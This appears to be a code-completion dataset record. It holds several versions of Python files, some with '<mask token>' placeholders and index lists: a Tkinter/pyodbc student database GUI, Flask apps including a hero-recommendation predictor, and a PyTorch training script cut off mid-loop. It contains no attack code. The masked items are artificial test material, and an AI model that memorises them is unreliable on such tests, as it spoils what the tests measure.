tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3], row[4], row[5], row[6])) tree.pack(side=tk.TOP, fill=tk.X) elif len(Sports) != 0: cursor.execute( """select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity from Students A inner join Sports B on A.StudentId=B.StudentId where B.Activity like(?)""" , Sports) records = cursor.fetchall() for row in records: tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3], row[4], row[5], row[6])) tree.pack(side=tk.TOP, fill=tk.X) else: messagebox.showinfo('Tkinter', 'Atleast one search criteria must be given!') def clearfields(): Name.delete(0, tk.END) Age.delete(0, tk.END) Gender.delete(0, tk.END) height.delete(0, tk.END) weight.delete(0, tk.END) StudentId.delete(0, tk.END) Sport.delete(0, tk.END) <mask token> canvas1.pack() <mask token> canvas1.create_window(300, 10, window=Name) <mask token> label1.config(font=('helvetica', 10)) canvas1.create_window(200, 10, window=label1) <mask token> canvas1.create_window(300, 40, window=Age) <mask token> label2.config(font=('helvetica', 10)) canvas1.create_window(200, 40, window=label2) <mask token> canvas1.create_window(300, 70, window=Gender) <mask token> label3.config(font=('helvetica', 10)) canvas1.create_window(200, 70, window=label3) <mask token> canvas1.create_window(300, 100, window=height) <mask token> label4.config(font=('helvetica', 10)) canvas1.create_window(200, 100, window=label4) <mask token> canvas1.create_window(300, 130, window=weight) <mask token> label5.config(font=('helvetica', 10)) canvas1.create_window(200, 130, window=label5) <mask token> canvas1.create_window(300, 160, window=StudentId) <mask token> label6.config(font=('helvetica', 10)) canvas1.create_window(200, 160, window=label6) <mask token> canvas1.create_window(300, 190, window=Sport) <mask token> label7.config(font=('helvetica', 10)) canvas1.create_window(200, 190, window=label7) <mask token> canvas1.create_window(500, 250, window=button1) <mask token> canvas1.create_window(400, 250, window=button5) <mask token> canvas1.create_window(450, 250, window=button3) <mask token> tree.column('#0', width=130, minwidth=270, stretch=tk.NO) tree.column('one', width=100, minwidth=150, stretch=tk.NO) tree.column('two', width=100, minwidth=100) tree.column('three', width=100, minwidth=50, stretch=tk.NO) tree.column('three', width=100, minwidth=50, stretch=tk.NO) tree.column('three', width=100, minwidth=50, stretch=tk.NO) tree.heading('#0', text='Name', anchor=tk.W) tree.heading('one', text='Age', anchor=tk.W) tree.heading('two', text='Gender', anchor=tk.W) tree.heading('three', text='Height', anchor=tk.W) tree.heading('four', text='Weight', anchor=tk.W) tree.heading('five', text='StudentId', anchor=tk.W) tree.heading('six', text='Sports', anchor=tk.W) tree.pack() root.mainloop()
<mask token> conn = pyodbc.connect( 'Driver={SQL Server};Server=MUTHUCOMPUTER;Database=Class4c v1;Trusted_Connection=yes;' ) cursor = conn.cursor() def save(): Names = Name.get() Ages = Age.get() Genders = Gender.get() Heights = height.get() weights = weight.get() rollnos = StudentId.get() Sports = Sport.get() cursor.execute( """ INSERT INTO Students(Name, Age, Gender, Height,_weight,StudentId) VALUES (?,?,?,?,?,?)""" , (Names, Ages, Genders, Heights, weights, rollnos)) conn.commit() cursor.execute( """ INSERT INTO Activity(Name,StudentId,Activity) VALUES (?,?,?) """ , (Names, rollnos, Sports)) conn.commit() clearfields() messagebox.showinfo('Tkinter', 'Saved successfully!') def delete(): x = StudentId.get() cursor.execute( """ DELETE FROM Students WHERE StudentId = (?)""", x) conn.commit() cursor.execute( """ DELETE FROM Activity WHERE StudentId = (?)""", x) clearfields() messagebox.showinfo('Tkinter', 'Deleted successfully!') def Search(): Names = Name.get() Ages = Age.get() Genders = Gender.get() Heights = height.get() Weights = weight.get() Rollnos = StudentId.get() Sports = Sport.get() t = tree.get_children() for f in t: tree.delete(f) if len(Names) != 0: cursor.execute( """select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity from Students A inner join Activity B on A.StudentId=B.StudentId where A.Name like(?)""" , Names) records = cursor.fetchall() for row in records: tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3], row[4], row[5], row[6])) tree.pack(side=tk.TOP, fill=tk.X) elif len(Ages) != 0: cursor.execute( """select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity from Students A inner join Sports B on A.StudentId=B.StudentId where A.Age like(?)""" , Ages) records = cursor.fetchall() for row in records: tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3], row[4], row[5], row[6])) tree.pack(side=tk.TOP, fill=tk.X) elif len(Genders) != 0: cursor.execute( """select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity from Students A inner join Sports B on A.StudentId=B.StudentId where A.Gender like(?)""" , Genders) records = cursor.fetchall() for row in records: tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3], row[4], row[5], row[6])) tree.pack(side=tk.TOP, fill=tk.X) elif len(Heights) != 0: cursor.execute( """select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity from Students A inner join Sports B on A.StudentId=B.StudentId where A.Height like(?)""" , Heights) records = cursor.fetchall() for row in records: tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3], row[4], row[5], row[6])) tree.pack(side=tk.TOP, fill=tk.X) elif len(Weights) != 0: cursor.execute( """select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity from Students A inner join Sports B on A.StudentId=B.StudentId where A._Weight like(?)""" , Weights) records = cursor.fetchall() for row in records: tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3], row[4], row[5], row[6])) tree.pack(side=tk.TOP, fill=tk.X) elif len(Rollnos) != 0: cursor.execute( """select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity from Students A inner join Sports B on A.StudentId=B.StudentId where A.StudentId like(?)""" , Rollnos) records = cursor.fetchall() for row in records: tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3], row[4], row[5], row[6])) tree.pack(side=tk.TOP, fill=tk.X) elif len(Sports) != 0: cursor.execute( """select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity from Students A inner join Sports B on A.StudentId=B.StudentId where B.Activity like(?)""" , Sports) records = cursor.fetchall() for row in records: tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3], row[4], row[5], row[6])) tree.pack(side=tk.TOP, fill=tk.X) else: messagebox.showinfo('Tkinter', 'Atleast one search criteria must be given!') def clearfields(): Name.delete(0, tk.END) Age.delete(0, tk.END) Gender.delete(0, tk.END) height.delete(0, tk.END) weight.delete(0, tk.END) StudentId.delete(0, tk.END) Sport.delete(0, tk.END) root = tk.Tk() canvas1 = tk.Canvas(root, width=900, height=300) canvas1.pack() Name = tk.Entry(root) canvas1.create_window(300, 10, window=Name) label1 = tk.Label(root, text='Name:') label1.config(font=('helvetica', 10)) canvas1.create_window(200, 10, window=label1) Age = tk.Entry(root) canvas1.create_window(300, 40, window=Age) label2 = tk.Label(root, text='Age:') label2.config(font=('helvetica', 10)) canvas1.create_window(200, 40, window=label2) Gender = tk.Entry(root) canvas1.create_window(300, 70, window=Gender) label3 = tk.Label(root, text='Gender:') label3.config(font=('helvetica', 10)) canvas1.create_window(200, 70, window=label3) height = tk.Entry(root) canvas1.create_window(300, 100, window=height) label4 = tk.Label(root, text='height in cm:') label4.config(font=('helvetica', 10)) canvas1.create_window(200, 100, window=label4) weight = tk.Entry(root) canvas1.create_window(300, 130, window=weight) label5 = tk.Label(root, text='weight in kg:') label5.config(font=('helvetica', 10)) canvas1.create_window(200, 130, window=label5) StudentId = tk.Entry(root) canvas1.create_window(300, 160, window=StudentId) label6 = tk.Label(root, text='StudentId:') label6.config(font=('helvetica', 10)) canvas1.create_window(200, 160, window=label6) Sport = tk.Entry(root) canvas1.create_window(300, 190, window=Sport) label7 = tk.Label(root, text='Sport:') label7.config(font=('helvetica', 10)) canvas1.create_window(200, 190, window=label7) button1 = tk.Button(text='Save', command=save) canvas1.create_window(500, 250, window=button1) button5 = tk.Button(text='Search', command=Search) canvas1.create_window(400, 250, window=button5) button3 = tk.Button(text='delete', command=delete) canvas1.create_window(450, 250, window=button3) tree = ttk.Treeview(root) tree['columns'] = 'one', 'two', 'three', 'four', 'five', 'six' tree.column('#0', width=130, minwidth=270, stretch=tk.NO) tree.column('one', width=100, minwidth=150, stretch=tk.NO) tree.column('two', width=100, minwidth=100) tree.column('three', width=100, minwidth=50, stretch=tk.NO) tree.column('three', width=100, minwidth=50, stretch=tk.NO) tree.column('three', width=100, minwidth=50, stretch=tk.NO) tree.heading('#0', text='Name', anchor=tk.W) tree.heading('one', text='Age', anchor=tk.W) tree.heading('two', text='Gender', anchor=tk.W) tree.heading('three', text='Height', anchor=tk.W) tree.heading('four', text='Weight', anchor=tk.W) tree.heading('five', text='StudentId', anchor=tk.W) tree.heading('six', text='Sports', anchor=tk.W) tree.pack() root.mainloop()
from tkinter import ttk import tkinter as tk import pyodbc #ConnectingDatabase# from tkinter import messagebox conn = pyodbc.connect('Driver={SQL Server};' 'Server=MUTHUCOMPUTER;' 'Database=Class4c v1;' 'Trusted_Connection=yes;') cursor = conn.cursor() #Adding new record# def save(): Names= Name.get() Ages= Age.get() Genders= Gender.get() Heights= height.get() weights= weight.get() rollnos= StudentId.get() Sports=Sport.get() cursor.execute(""" INSERT INTO Students(Name, Age, Gender, Height,_weight,StudentId) VALUES (?,?,?,?,?,?)""",(Names,Ages,Genders,Heights,weights,rollnos)) conn.commit() cursor.execute(""" INSERT INTO Activity(Name,StudentId,Activity) VALUES (?,?,?) """,(Names,rollnos,Sports)) conn.commit() clearfields() messagebox.showinfo("Tkinter", "Saved successfully!") #deleting selected record and currently works only with rollnumber def delete(): x=StudentId.get() cursor.execute(""" DELETE FROM Students WHERE StudentId = (?)""",(x)) conn.commit() cursor.execute(""" DELETE FROM Activity WHERE StudentId = (?)""",(x)) clearfields() messagebox.showinfo("Tkinter", "Deleted successfully!") #Searching records def Search(): Names= Name.get() Ages= Age.get() Genders= Gender.get() Heights= height.get() Weights= weight.get() Rollnos= StudentId.get() Sports=Sport.get() # clearing the tree t=tree.get_children() for f in t: tree.delete(f) #Search starts if len(Names)!=0: cursor.execute("""select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity from Students A inner join Activity B on A.StudentId=B.StudentId where A.Name like(?)""",(Names)) records=cursor.fetchall() for row in records: tree.insert("", 3, text=row[0], values=(row[1],row[2],row[3],row[4],row[5],row[6])) tree.pack(side=tk.TOP,fill=tk.X) elif len(Ages)!=0: cursor.execute("""select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity from Students A inner join Sports B on A.StudentId=B.StudentId where A.Age like(?)""",(Ages)) records=cursor.fetchall() for row in records: tree.insert("", 3, text=row[0], values=(row[1],row[2],row[3],row[4],row[5],row[6])) tree.pack(side=tk.TOP,fill=tk.X) elif len(Genders)!=0: cursor.execute("""select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity from Students A inner join Sports B on A.StudentId=B.StudentId where A.Gender like(?)""",(Genders)) records=cursor.fetchall() for row in records: tree.insert("", 3, text=row[0], values=(row[1],row[2],row[3],row[4],row[5],row[6])) tree.pack(side=tk.TOP,fill=tk.X) elif len(Heights)!=0: cursor.execute("""select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity from Students A inner join Sports B on A.StudentId=B.StudentId where A.Height like(?)""",(Heights)) records=cursor.fetchall() for row in records: tree.insert("", 3, text=row[0], values=(row[1],row[2],row[3],row[4],row[5],row[6])) tree.pack(side=tk.TOP,fill=tk.X) elif len(Weights)!=0: cursor.execute("""select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity from Students A inner join Sports B on A.StudentId=B.StudentId where A._Weight like(?)""",(Weights)) records=cursor.fetchall() for row in records: tree.insert("", 3, text=row[0], values=(row[1],row[2],row[3],row[4],row[5],row[6])) tree.pack(side=tk.TOP,fill=tk.X) elif len(Rollnos)!=0: cursor.execute("""select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity from Students A inner join Sports B on A.StudentId=B.StudentId where A.StudentId like(?)""",(Rollnos)) records=cursor.fetchall() for row in records: tree.insert("", 3, text=row[0], values=(row[1],row[2],row[3],row[4],row[5],row[6])) tree.pack(side=tk.TOP,fill=tk.X) elif len(Sports)!=0: cursor.execute("""select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity from Students A inner join Sports B on A.StudentId=B.StudentId where B.Activity like(?)""",(Sports)) records=cursor.fetchall() for row in records: tree.insert("", 3, text=row[0], values=(row[1],row[2],row[3],row[4],row[5],row[6])) tree.pack(side=tk.TOP,fill=tk.X) else: messagebox.showinfo("Tkinter", "Atleast one search criteria must be given!") #Search ends # function to clear all entry fields def clearfields(): Name.delete(0 ,tk.END) Age.delete(0 ,tk.END) Gender.delete(0 ,tk.END) height.delete(0 ,tk.END) weight.delete(0 ,tk.END) StudentId.delete(0 ,tk.END) Sport.delete(0 ,tk.END) # defining the canvas root= tk.Tk() canvas1 = tk.Canvas(root, width = 900, height = 300) canvas1.pack() # Defining the fields and labels and validating Name = tk.Entry (root) canvas1.create_window(300, 10, window=Name) label1 = tk.Label(root, text='Name:') label1.config(font=('helvetica', 10)) canvas1.create_window(200, 10, window=label1) Age = tk.Entry (root) canvas1.create_window(300, 40, window=Age) label2 = tk.Label(root, text='Age:') label2.config(font=('helvetica', 10)) canvas1.create_window(200, 40, window=label2) Gender = tk.Entry (root) canvas1.create_window(300, 70, window=Gender) label3 = tk.Label(root, text='Gender:') label3.config(font=('helvetica', 10)) canvas1.create_window(200, 70, window=label3) height = tk.Entry (root) canvas1.create_window(300, 100, window=height) label4 = tk.Label(root, text='height in cm:') label4.config(font=('helvetica', 10)) canvas1.create_window(200, 100, window=label4) weight = tk.Entry (root) canvas1.create_window(300, 130, window=weight) label5 = tk.Label(root, text='weight in kg:') label5.config(font=('helvetica', 10)) canvas1.create_window(200, 130, window=label5) StudentId = tk.Entry (root) canvas1.create_window(300, 160, window=StudentId) label6 = tk.Label(root, text='StudentId:') label6.config(font=('helvetica', 10)) canvas1.create_window(200, 160, window=label6) Sport = tk.Entry (root) canvas1.create_window(300, 190, window=Sport) label7 = tk.Label(root, text='Sport:') label7.config(font=('helvetica', 10)) canvas1.create_window(200, 190, window=label7) # Defining the buttons button1 = tk.Button(text='Save',command = save) canvas1.create_window(500, 250, window=button1) button5 = tk.Button(text='Search',command=Search) canvas1.create_window(400, 250, window=button5) button3 = tk.Button(text='delete',command=delete) canvas1.create_window(450, 250, window=button3) # Defining the tree tree=ttk.Treeview(root) tree["columns"]=("one","two","three","four","five","six") tree.column("#0", width=130, minwidth=270, stretch=tk.NO) tree.column("one", width=100, minwidth=150, stretch=tk.NO) tree.column("two", width=100, minwidth=100) tree.column("three", width=100, minwidth=50, stretch=tk.NO) tree.column("three", width=100, minwidth=50, stretch=tk.NO) tree.column("three", width=100, minwidth=50, stretch=tk.NO) tree.heading("#0",text="Name",anchor=tk.W) tree.heading("one", text="Age",anchor=tk.W) tree.heading("two", text="Gender",anchor=tk.W) tree.heading("three", text="Height",anchor=tk.W) tree.heading("four", text="Weight",anchor=tk.W) tree.heading("five", text="StudentId",anchor=tk.W) tree.heading("six", text="Sports",anchor=tk.W) tree.pack() root.mainloop()
[ 2, 4, 5, 6, 8 ]
9,928
cc094f8aeff3b52bd9184f7b815320529ecb4550
<mask token> @app.route('/') def root(): return 'Test!' @app.route('/federal/geographic') def federal_geographic(): pass <mask token> @app.route('/state/geographic') def state_geographic(): pass @app.route('/local/temporal') def local_temporal(): pass <mask token>
<mask token> @app.route('/') def root(): return 'Test!' @app.route('/federal/geographic') def federal_geographic(): pass @app.route('/federal/issue') def federal_issue(): pass @app.route('/state/geographic') def state_geographic(): pass @app.route('/local/temporal') def local_temporal(): pass <mask token>
<mask token> @app.route('/') def root(): return 'Test!' @app.route('/federal/geographic') def federal_geographic(): pass @app.route('/federal/issue') def federal_issue(): pass @app.route('/state/geographic') def state_geographic(): pass @app.route('/local/temporal') def local_temporal(): pass if __name__ == '__main__': app.run(debug=True)
from flask import Flask app = Flask(__name__) @app.route('/') def root(): return 'Test!' @app.route('/federal/geographic') def federal_geographic(): pass @app.route('/federal/issue') def federal_issue(): pass @app.route('/state/geographic') def state_geographic(): pass @app.route('/local/temporal') def local_temporal(): pass if __name__ == '__main__': app.run(debug=True)
from flask import Flask app = Flask(__name__) @app.route('/') def root(): return "Test!" @app.route('/federal/geographic') def federal_geographic(): pass @app.route('/federal/issue') def federal_issue(): pass @app.route('/state/geographic') def state_geographic(): pass @app.route('/local/temporal') def local_temporal(): pass if __name__ == "__main__": app.run(debug=True)
[ 4, 5, 6, 8, 9 ]
9,929
06605bbd91c62a02a66770ca3f37a9d2d1401ccb
<mask token> @app.route('/') def demo(): return render_template('home.html', hero_mapping=hero_mapping) @app.route('/predict', methods=['POST']) def predict(): valid, res = valid_input(list(request.json)) if not valid: return res else: feature = data_to_feature(res) prob = model.predict_proba(feature)[0] ret_val = dict() ret_val[0] = prob[0] ret_val[1] = prob[1] return ret_val <mask token>
<mask token> @app.route('/') def demo(): return render_template('home.html', hero_mapping=hero_mapping) @app.route('/predict', methods=['POST']) def predict(): valid, res = valid_input(list(request.json)) if not valid: return res else: feature = data_to_feature(res) prob = model.predict_proba(feature)[0] ret_val = dict() ret_val[0] = prob[0] ret_val[1] = prob[1] return ret_val @app.route('/recommend', methods=['POST']) def recommend(): idx = -1 raw_data = list(request.json) for i, id_str in enumerate(list(request.json)): if id_str == -1: idx = i break if idx == -1: return 'ERROR: illegal input.' predict_side = 0 if idx < 5 else 1 hero_2_prob = dict() max_prob = 0 recommended_hero_id = -1 for hero_id in hero_ids: raw_data[idx] = str(hero_id) valid, current_data = valid_input(raw_data) if not valid: continue feature = data_to_feature(current_data) prob = model.predict_proba(feature)[0, predict_side] hero_2_prob[hero_id] = prob if prob > max_prob: recommended_hero_id = hero_id max_prob = prob ret_val = dict() ret_val['hero_id'] = recommended_hero_id ret_val['hero_name'] = inverse_hero_mapping[recommended_hero_id] return ret_val if __name__ == '__main__': config = load_site_config('App/model/site_config.json') hero_mapping, inverse_hero_mapping = load_hero_mapping(config[ 'hero_mapping_path']) model = load_pretrained_model(config['model_path']) app.run(debug=True)
<mask token> app = Flask(__name__, static_folder='./static') @app.route('/') def demo(): return render_template('home.html', hero_mapping=hero_mapping) @app.route('/predict', methods=['POST']) def predict(): valid, res = valid_input(list(request.json)) if not valid: return res else: feature = data_to_feature(res) prob = model.predict_proba(feature)[0] ret_val = dict() ret_val[0] = prob[0] ret_val[1] = prob[1] return ret_val @app.route('/recommend', methods=['POST']) def recommend(): idx = -1 raw_data = list(request.json) for i, id_str in enumerate(list(request.json)): if id_str == -1: idx = i break if idx == -1: return 'ERROR: illegal input.' predict_side = 0 if idx < 5 else 1 hero_2_prob = dict() max_prob = 0 recommended_hero_id = -1 for hero_id in hero_ids: raw_data[idx] = str(hero_id) valid, current_data = valid_input(raw_data) if not valid: continue feature = data_to_feature(current_data) prob = model.predict_proba(feature)[0, predict_side] hero_2_prob[hero_id] = prob if prob > max_prob: recommended_hero_id = hero_id max_prob = prob ret_val = dict() ret_val['hero_id'] = recommended_hero_id ret_val['hero_name'] = inverse_hero_mapping[recommended_hero_id] return ret_val if __name__ == '__main__': config = load_site_config('App/model/site_config.json') hero_mapping, inverse_hero_mapping = load_hero_mapping(config[ 'hero_mapping_path']) model = load_pretrained_model(config['model_path']) app.run(debug=True)
from flask import Flask, render_template, url_for, request, jsonify from model.model import load_site_config, load_hero_mapping, load_pretrained_model, valid_input, data_to_feature from model.model import combine_list, hero_ids from itertools import product import numpy as np app = Flask(__name__, static_folder='./static') @app.route('/') def demo(): return render_template('home.html', hero_mapping=hero_mapping) @app.route('/predict', methods=['POST']) def predict(): valid, res = valid_input(list(request.json)) if not valid: return res else: feature = data_to_feature(res) prob = model.predict_proba(feature)[0] ret_val = dict() ret_val[0] = prob[0] ret_val[1] = prob[1] return ret_val @app.route('/recommend', methods=['POST']) def recommend(): idx = -1 raw_data = list(request.json) for i, id_str in enumerate(list(request.json)): if id_str == -1: idx = i break if idx == -1: return 'ERROR: illegal input.' predict_side = 0 if idx < 5 else 1 hero_2_prob = dict() max_prob = 0 recommended_hero_id = -1 for hero_id in hero_ids: raw_data[idx] = str(hero_id) valid, current_data = valid_input(raw_data) if not valid: continue feature = data_to_feature(current_data) prob = model.predict_proba(feature)[0, predict_side] hero_2_prob[hero_id] = prob if prob > max_prob: recommended_hero_id = hero_id max_prob = prob ret_val = dict() ret_val['hero_id'] = recommended_hero_id ret_val['hero_name'] = inverse_hero_mapping[recommended_hero_id] return ret_val if __name__ == '__main__': config = load_site_config('App/model/site_config.json') hero_mapping, inverse_hero_mapping = load_hero_mapping(config[ 'hero_mapping_path']) model = load_pretrained_model(config['model_path']) app.run(debug=True)
from flask import Flask, render_template, url_for, request, jsonify from model.model import load_site_config, load_hero_mapping, load_pretrained_model, valid_input, data_to_feature from model.model import combine_list, hero_ids from itertools import product import numpy as np app = Flask(__name__,static_folder='./static') @app.route('/') def demo(): return render_template("home.html",hero_mapping = hero_mapping) @app.route('/predict', methods=['POST']) def predict(): # do check to validate data input valid, res = valid_input(list(request.json)) if not valid: return res else: feature = data_to_feature(res) prob = model.predict_proba(feature)[0] # prob: probabilities ret_val = dict() ret_val[0] = prob[0] ret_val[1] = prob[1] return ret_val @app.route('/recommend', methods=['POST']) def recommend(): idx = -1 raw_data = list(request.json) for i, id_str in enumerate(list(request.json)): if id_str == -1: idx = i break if idx == -1: return "ERROR: illegal input." predict_side = 0 if idx < 5 else 1 hero_2_prob = dict() max_prob = 0 recommended_hero_id = -1 for hero_id in hero_ids: raw_data[idx] = str(hero_id) valid, current_data = valid_input(raw_data) if not valid: continue feature = data_to_feature(current_data) prob = model.predict_proba(feature)[0,predict_side] hero_2_prob[hero_id] = prob if prob > max_prob: recommended_hero_id = hero_id max_prob = prob ret_val = dict() ret_val['hero_id'] = recommended_hero_id ret_val['hero_name'] = inverse_hero_mapping[recommended_hero_id] return ret_val if __name__ == '__main__': # site initialization config = load_site_config('App/model/site_config.json') hero_mapping, inverse_hero_mapping = load_hero_mapping(config['hero_mapping_path']) model = load_pretrained_model(config['model_path']) app.run(debug=True)
[ 2, 4, 5, 6, 7 ]
9,930
1f63f9234596787e4859b740d3a7fbfaacc9c0c8
<mask token> def compute_loss(dataloader, net): loss = 0 if torch.cuda.is_available(): net.cuda() net.eval() n_batches = 0 with torch.no_grad(): for x, y in dataloader: n_batches += 1 if torch.cuda.is_available(): x = x.cuda() y = y.cuda() pred = net(x) loss += loss_func(pred, y).item() loss = loss / n_batches return loss <mask token> def zero_pad(values, max_m): m = len(values) values += [0] * (max_m - m) def solve_with_solver(values_copy, n): return xpress_solver(values_copy, n) def solve_with_net(values_copy, n): start = time.time() sum_vals = sum(values_copy) new_values = [(val / sum_vals) for val in values_copy] pred = net(torch.FloatTensor([float(n)] + new_values)) pred_num = float(pred.data[0]) final_result = pred_num * sum_vals end = time.time() return final_result, end - start <mask token>
<mask token> def split_to_train_validation(path_to_data): dataset = CustomDataset(path_to_data) print(len(dataset)) batch_size = 300 validation_split = 0.2 shuffle_dataset = True random_seed = 56 dataset_size = len(dataset) indices = list(range(dataset_size)) split = int(np.floor(validation_split * dataset_size)) if shuffle_dataset: np.random.seed(random_seed) np.random.shuffle(indices) train_indices, val_indices = indices[split:], indices[:split] print(len(train_indices), len(val_indices)) train_sampler = SubsetRandomSampler(train_indices) valid_sampler = SubsetRandomSampler(val_indices) train_loader = DataLoader(dataset, batch_size=batch_size, sampler= train_sampler) validation_loader = DataLoader(dataset, batch_size=batch_size, sampler= valid_sampler) print(len(train_loader), len(validation_loader)) return train_loader, validation_loader <mask token> def compute_loss(dataloader, net): loss = 0 if torch.cuda.is_available(): net.cuda() net.eval() n_batches = 0 with torch.no_grad(): for x, y in dataloader: n_batches += 1 if torch.cuda.is_available(): x = x.cuda() y = y.cuda() pred = net(x) loss += loss_func(pred, y).item() loss = loss / n_batches return loss <mask token> def zero_pad(values, max_m): m = len(values) values += [0] * (max_m - m) def solve_with_solver(values_copy, n): return xpress_solver(values_copy, n) def solve_with_net(values_copy, n): start = time.time() sum_vals = sum(values_copy) new_values = [(val / sum_vals) for val in values_copy] pred = net(torch.FloatTensor([float(n)] + new_values)) pred_num = float(pred.data[0]) final_result = pred_num * sum_vals end = time.time() return final_result, end - start def test_net(path): max_m = 100 filelist = glob.glob(path + '/*.json') print(len(filelist)) test_result = dict() filelist_len = len(filelist) for count, filename in enumerate(filelist): n, m, max_val = get_params_from_filename(filename) data_list_in_file = [] with open(filename) as jsonFile: data_list_in_file = json.load(jsonFile) idx = random.randint(0, len(data_list_in_file) - 1) example = data_list_in_file[idx] values = example[0]['values'] values_copy = copy.deepcopy(values) values_copy.sort(reverse=True) solver_result, solver_time = solve_with_solver(values_copy, n) zero_pad(values_copy, max_m) net_result, net_time = solve_with_net(values_copy, n) test_result[str((n, m, max_val))] = {'values_idx': idx, 'solver_result': solver_result, 'solver_time': solver_time, 'net_result': net_result, 'net_time': net_time} if count % 20 == 0: print(count, 'out of', filelist_len) test_result_path = './TestResults/test_results.json' with open(test_result_path, 'w+') as json_file: json.dump(test_result, json_file, indent=4) <mask token>
<mask token> def split_to_train_validation(path_to_data): dataset = CustomDataset(path_to_data) print(len(dataset)) batch_size = 300 validation_split = 0.2 shuffle_dataset = True random_seed = 56 dataset_size = len(dataset) indices = list(range(dataset_size)) split = int(np.floor(validation_split * dataset_size)) if shuffle_dataset: np.random.seed(random_seed) np.random.shuffle(indices) train_indices, val_indices = indices[split:], indices[:split] print(len(train_indices), len(val_indices)) train_sampler = SubsetRandomSampler(train_indices) valid_sampler = SubsetRandomSampler(val_indices) train_loader = DataLoader(dataset, batch_size=batch_size, sampler= train_sampler) validation_loader = DataLoader(dataset, batch_size=batch_size, sampler= valid_sampler) print(len(train_loader), len(validation_loader)) return train_loader, validation_loader <mask token> def compute_loss(dataloader, net): loss = 0 if torch.cuda.is_available(): net.cuda() net.eval() n_batches = 0 with torch.no_grad(): for x, y in dataloader: n_batches += 1 if torch.cuda.is_available(): x = x.cuda() y = y.cuda() pred = net(x) loss += loss_func(pred, y).item() loss = loss / n_batches return loss <mask token> if torch.cuda.is_available(): net.cuda() for epoch in pbar: if len(validation_loss_vs_epoch) > 1: print('epoch', epoch, ' val loss:' + '{0:.5f}'.format( validation_loss_vs_epoch[-1])) net.train() for x, y in train_loader: y = y.to(torch.float32) if torch.cuda.is_available(): x = x.cuda() y = y.cuda() optimizer.zero_grad() pred = net(x) loss = loss_func(pred, y) loss.backward() optimizer.step() net.eval() valid_loss = compute_loss(validation_loader, net) validation_loss_vs_epoch.append(valid_loss) def zero_pad(values, max_m): m = len(values) values += [0] * (max_m - m) def solve_with_solver(values_copy, n): return xpress_solver(values_copy, n) def solve_with_net(values_copy, n): start = time.time() sum_vals = sum(values_copy) new_values = [(val / sum_vals) for val in values_copy] pred = net(torch.FloatTensor([float(n)] + new_values)) pred_num = float(pred.data[0]) final_result = pred_num * sum_vals end = time.time() return final_result, end - start def test_net(path): max_m = 100 filelist = glob.glob(path + '/*.json') print(len(filelist)) test_result = dict() filelist_len = len(filelist) for count, filename in enumerate(filelist): n, m, max_val = get_params_from_filename(filename) data_list_in_file = [] with open(filename) as jsonFile: data_list_in_file = json.load(jsonFile) idx = random.randint(0, len(data_list_in_file) - 1) example = data_list_in_file[idx] values = example[0]['values'] values_copy = copy.deepcopy(values) values_copy.sort(reverse=True) solver_result, solver_time = solve_with_solver(values_copy, n) zero_pad(values_copy, max_m) net_result, net_time = solve_with_net(values_copy, n) test_result[str((n, m, max_val))] = {'values_idx': idx, 'solver_result': solver_result, 'solver_time': solver_time, 'net_result': net_result, 'net_time': net_time} if count % 20 == 0: print(count, 'out of', filelist_len) test_result_path = './TestResults/test_results.json' with open(test_result_path, 'w+') as json_file: json.dump(test_result, json_file, indent=4) test_net(path_to_data)
import random import glob import json import time from torch.utils.data import Dataset, DataLoader, SubsetRandomSampler from SimpleDataLoader import CustomDataset, get_params_from_filename import numpy as np from DNN_model import Net import torch.optim as optim import torch.nn as nn import torch from tqdm import tqdm from MMS_compute import xpress_solver import copy path_to_data = 'Dataset' def split_to_train_validation(path_to_data): dataset = CustomDataset(path_to_data) print(len(dataset)) batch_size = 300 validation_split = 0.2 shuffle_dataset = True random_seed = 56 dataset_size = len(dataset) indices = list(range(dataset_size)) split = int(np.floor(validation_split * dataset_size)) if shuffle_dataset: np.random.seed(random_seed) np.random.shuffle(indices) train_indices, val_indices = indices[split:], indices[:split] print(len(train_indices), len(val_indices)) train_sampler = SubsetRandomSampler(train_indices) valid_sampler = SubsetRandomSampler(val_indices) train_loader = DataLoader(dataset, batch_size=batch_size, sampler= train_sampler) validation_loader = DataLoader(dataset, batch_size=batch_size, sampler= valid_sampler) print(len(train_loader), len(validation_loader)) return train_loader, validation_loader train_loader, validation_loader = split_to_train_validation(path_to_data) net = Net() loss_func = nn.MSELoss() optimizer = optim.Adam(net.parameters(), lr=0.0001) def compute_loss(dataloader, net): loss = 0 if torch.cuda.is_available(): net.cuda() net.eval() n_batches = 0 with torch.no_grad(): for x, y in dataloader: n_batches += 1 if torch.cuda.is_available(): x = x.cuda() y = y.cuda() pred = net(x) loss += loss_func(pred, y).item() loss = loss / n_batches return loss n_epochs = 50 pbar = tqdm(range(n_epochs)) validation_loss_vs_epoch = [] if torch.cuda.is_available(): net.cuda() for epoch in pbar: if len(validation_loss_vs_epoch) > 1: print('epoch', epoch, ' val loss:' + '{0:.5f}'.format( validation_loss_vs_epoch[-1])) net.train() for x, y in train_loader: y = y.to(torch.float32) if torch.cuda.is_available(): x = x.cuda() y = y.cuda() 